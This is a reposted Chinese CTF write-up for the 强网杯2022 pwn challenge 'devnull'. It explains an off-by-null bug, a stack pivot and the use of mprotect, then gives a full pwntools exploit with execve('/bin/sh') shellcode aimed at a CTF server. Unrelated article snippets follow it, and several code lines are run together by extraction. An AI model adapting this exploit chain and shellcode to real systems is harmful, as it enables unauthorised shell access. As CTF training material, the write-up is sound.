【栈迁移】强网杯2022 -- devnull

前言

题目不算难,多调一调就ok啦。但感觉我这个pay不是最优的,比较极限。

漏洞分析与利用

保护:没开 Canary 和 PIE

关键函数如下:

1)buf 的大小是32字节,而 fgets 了33字节,但是 fgets 本身最多读取32字节,最后会填上一个\x00,所以这里是一个 off by null 溢出,其刚好可以把 fd 修改为 0

2)通过1)可以把 fd 修改为0,所以这时 read(fd, &v2, nums_0x2c) 又会存在溢出,因为 v2 仅仅是一个 int 类型。但是这里刚好溢出到返回地址,所以考虑栈迁移。同时这里可以修改 ptr 指针的值

3)通过2)修改 ptr 的值,这里就可以实现任意地址写 0x60 字节。所以这里可以为栈迁移做好准备。但是在 mp 函数中会将 bss 段设置为只可读,所以这里无法栈迁移到 bss 上。但是程序没有开启 PIE 所以可以直接栈迁移到程序数据段,因为数据段是可读可写的。

栈迁移后考虑如何 get_shell,这里是无法泄漏相关 libc 地址的(主要是没有足够的 gadget 去控制 rdi/rsi/rdx 等寄存器,csu 好像也没看到),但是题目本身执行了 mprotect 函数,所以可以利用其来将一段地址设置为可执行。

然后 mprotect 这里的 rsi 可被控制为 0x1000,rdi 被设置为 rax,所以我们得想办法控制 rax = target_addr 和 rdx = 7,我们可以找到如下 gadget 控制 rax,但是题目找不到直接或间接控制 rdx 的 gadget。

0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret

但是,但是我们调试发现当栈迁移后,rdx 就是7,然后回到程序中可以发现在退出前执行了如下操作:

可以看到,rdx = strlen(str),而 "Thanks\n" 刚好7字节,所以最后 rdx 就是7

程序返回前把标准输出关了,但是每关标准错误输出,所以重定向一下就好了

然后就是去构造 rop 了,这里就是根据读者的喜好了,exp 如下:

这里运气比较好,两段 shellcode 都是 0x10 大小,刚刚合适并且刚刚好填满 0x60 字节

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'#io = process("./pwn")
io = remote("node4.anna.nssctf.cn", 28077)
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''#gdb.attach(io, 'b *0x0000000000401436')leave_ret = 0x0000000000401354 # leave ; ret
call_mprotect = 0x00000000004012D0
mov_eax = 0x0000000000401351 # mov eax, dword ptr [rbp - 0x18] ; leave ; ret
pop_rbp = 0x000000000040129d # pop rbp ; ret
jmp_rax = 0x000000000040122c # jmp rax
start = 0x3fc000 + 0x1000sda(b'filename\n', b'A'*32)
pay = b'B'*(0x1c-8) + p64(start-8) + p64(start-8) + p64(leave_ret)
sda(b'discard\n', pay)shellcode0 = asm("""xor edx, edxxor esi, esimov eax, 0x3bmov ebx, 0x3fd048jmp rbx
""")shellcode1 = asm("""mov rdi, 0x68732f6e69622fpush rdimov rdi, rspsyscall
""")
print(hex(len(shellcode0)))
print(hex(len(shellcode1)))pay  = p64(start+0x18+0x8) + p64(mov_eax) + p64(start) + shellcode0 + p64(start+0x10) + p64(call_mprotect)
pay += p64(start+0x18+0x18+0x8) + p64(mov_eax) + p64(jmp_rax) + shellcode1
print(hex(len(pay)))
sda(b'data\n', pay)#debug()
sh()

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/204301.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

浴霸市场研究:2023年市场现状及未来发展

据不完全统计,目前我国浴霸行业拥有品牌数量超过250个,市场竞争激烈,主要代表企业有奥普、美的、松桥、松下、澳柯玛、光芒、桑普、来斯奥、飞雕、万家乐等。从未来发展趋势来看,伴随着市场消费升级以及市场需求多元化发展&#x…

机器学习应用 | 使用 MATLAB 进行异常检测(上)

异常检测任务,指的是检测偏离期望行为的事件或模式,可以是简单地检测数值型数据中,是否存在远超出正常取值范围的离群值,也可以是借助相对复杂的机器学习算法识别数据中隐藏的异常模式。 在不同行业中,异常检测的典型…

EasyX图形化学习

1.EasyX是什么&#xff1f; 是基于Windows的图形编程&#xff0c;给用户提供函数接口&#xff0c;最终函数调用会由Windows的API实现。 注&#xff1a;EasyX只适配 c 。 2.头文件&#xff1a; <easyx.h>---只包含最新的函数 <graphics.h>---包含<easyx.h&g…

动态内存管理(扫盲式讲解)

前言&#xff1a;学好数据结构的三大法宝&#xff1a;指针、结构体、动态内存管理&#xff0c;指针前面讲的已经很细了&#xff0c;大家看完了基本上指针方法是没啥问题的 1 为什么要有动态内存的开辟&#xff1f; 因为动态内存的开辟是在堆区里面的&#xff0c;可以释放&…

Qt之基于QMediaPlayer的音视频播放器(支持常见音视频格式)

Qt自带了一个Media Player的例子,如下图所示: 但是运行这个例子机会发现,连最基本的MP4格式视频都播放不了。因为QMediaPlayer是个壳(也可以叫框架),依赖本地解码器,视频这块默认基本上就播放个MP4,甚至连MP4都不能播放,如果要支持其他格式需要下载k-lite或者LAVFilte…

机器学习---环境准备

一、pySpark环境准备 1、window配置python环境变量 window安装python&#xff0c;配置python环境变量。安装python后,在环境变量path中加入安装的路径&#xff0c;cmd中输入python&#xff0c;检验python是否安装成功。 注意&#xff1a;如果使用的是anaconda安装的python环境…

MySql MVCC 详解

注意以下操作都是以InnoDB引擎为操作基准。 一&#xff0c;前置知识准备 1&#xff0c;MVCC简介 MVCC 是多版本并发控制&#xff08;Multiversion Concurrency Control&#xff09;的缩写。它是一种数据库事务管理技术&#xff0c;用于解决并发访问数据库的问题。MVCC 通过创…

GUI的简单概述和基本使用

GUI的概念 1&#xff0c;到目前为止&#xff0c;我们编写的都是控制输入的程序&#xff0c;操作使用非常不直观&#xff0c;采取一直方式让效果呈现在窗口上。 2&#xff0c;GUI及图形界面指采用图像方式显示的用户界面&#xff0c;与早期计算机的命令行界面相比&#xff0c;…

【SpringCloud】通过Redis手动更新Ribbon缓存来解决Eureka微服务架构中服务下线感知的问题

文章目录 前言1.第一次尝试1.1服务被调用方更新1.2压测第一次尝试1.3 问题分析1.4 同步的不是最新列表 2.第二次尝试2.1调用方过滤下线服务2.2压测第二次尝试2.3优化 写到最后 前言 在上文的基础上&#xff0c;通过压测的结果可以看出&#xff0c;使用DiscoveryManager下线服务…

程序员如何开发高级python爬虫?

之前我有写过一篇“高级爬虫和低级爬虫的区别”的文章&#xff0c;我们知道它并非爬虫领域中专用术语。只是根据爬虫的复杂性来断定是否是高级爬虫。以我个人理解&#xff1a;高级爬虫是可能具有更复杂的功能和更高的灵活性的爬虫。下面我们围绕高级爬虫来了解下有趣的事情。 低…

python可视化plotly 图例(legend)设置大全,值得收藏!

文章目录 一、图例(legend)二、update\_layout(legend{}) 相关参数及示例关于Python技术储备一、Python所有方向的学习路线二、Python基础学习视频三、精品Python学习书籍四、Python工具包项目源码合集①Python工具包②Python实战案例③Python小游戏源码五、面试资料六、Python…

多向通信----多人聊天

package 多人聊天; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStream; import java.io.PrintStream; import java.net.ServerSocket; import java.net.Socket; import java.util.ArrayList; publ…

K8s中安装calico一直无法启动成功

问题描述 #k8s版本为v1.20.9查看对应日志 #calico-node-xxx 对应pod名称 kubectl logs calico-node-xxxx -n kube-system #没有错误但是一直启动不起来应该是版本不匹配问题解决方案 删除 calico重新安装对应版本删除podskubectl delete -f calico.yaml删除文件 rm -f calico.…

【NLP】如何管理大型语言模型 (LLM)

什么是LLM编排&#xff1f; LLM 编排是管理和控制大型语言模型 (LLM)的过程&#xff0c;以优化其性能和有效性。这包括以下任务&#xff1a; 提示LLM&#xff1a;生成有效的提示&#xff0c;为LLMs提供适当的背景和信息以产生所需的输出。链接LLM&#xff1a; 结合多个LLM的输…

SpringBoot读取properties文字乱码问题及相关问题

问题&#xff1a;在idea的编辑器中properties文件一般用UTF-8编码&#xff0c;SpringBoot2读取解码方式默认不是UTF-8&#xff0c;当值出现中文时SpringBoot读取时出现了乱码。 解决方式1&#xff1a;在SpringBoot框架层面解决&#xff0c;在配置类注解上添加encoding属性值为…

5G - NR物理层解决方案支持6G非地面网络中的高移动性

文章目录 非地面网络场景链路仿真参数实验仿真结果 非地面网络场景 链路仿真参数 实验仿真结果 Figure 5 && Figure 6&#xff1a;不同信噪比下的BER和吞吐量 变量 SISO 2x2MIMO 2x4MIMO 2x8MIMOReyleigh衰落、Rician衰落、多径TDL-A(NLOS) 、TDL-E(LOS)(a)QPSK (b)16…

[足式机器人]Part4 南科大高等机器人控制课 Ch02 Rigid Body Configuration and Velocity

本文仅供学习使用 本文参考&#xff1a; B站&#xff1a;CLEAR_LAB 笔者带更新-运动学 课程主讲教师&#xff1a; Prof. Wei Zhang 南科大高等机器人控制课 Ch02 Rigid Body Configuration and Velocity 1. Rigid Body Configuration1.1 Special Orthogonal Group1.2 Use of Ro…

Centos7安装宝塔面板8.0.3并实现公网远程登录宝塔面板【内网穿透】

文章目录 一、使用官网一键安装命令安装宝塔二、简单配置宝塔&#xff0c;内网穿透三、使用固定公网地址访问宝塔 宝塔面板作为建站运维工具&#xff0c;适合新手&#xff0c;简单好用。当我们在家里/公司搭建了宝塔&#xff0c;没有公网IP&#xff0c;但是想要在外也可以访问内…

组合总和II(回溯、去重)

40. 组合总和 II - 力扣&#xff08;LeetCode&#xff09; 题目描述 给定一个候选人编号的集合 candidates 和一个目标数 target &#xff0c;找出 candidates 中所有可以使数字和为 target 的组合。 candidates 中的每个数字在每个组合中只能使用 一次 。 注意&#xff1a…

相交链表(LeetCode 160)

文章目录 1.问题描述2.难度等级3.热门指数4.解题思路方法一&#xff1a;暴力法方法二&#xff1a;哈希表方法三&#xff1a;双栈方法四&#xff1a;双指针&#xff1a;记录链表长度方法五&#xff1a;双指针&#xff1a;互换遍历 5.实现示例参考文献 1.问题描述 给两个单链表的…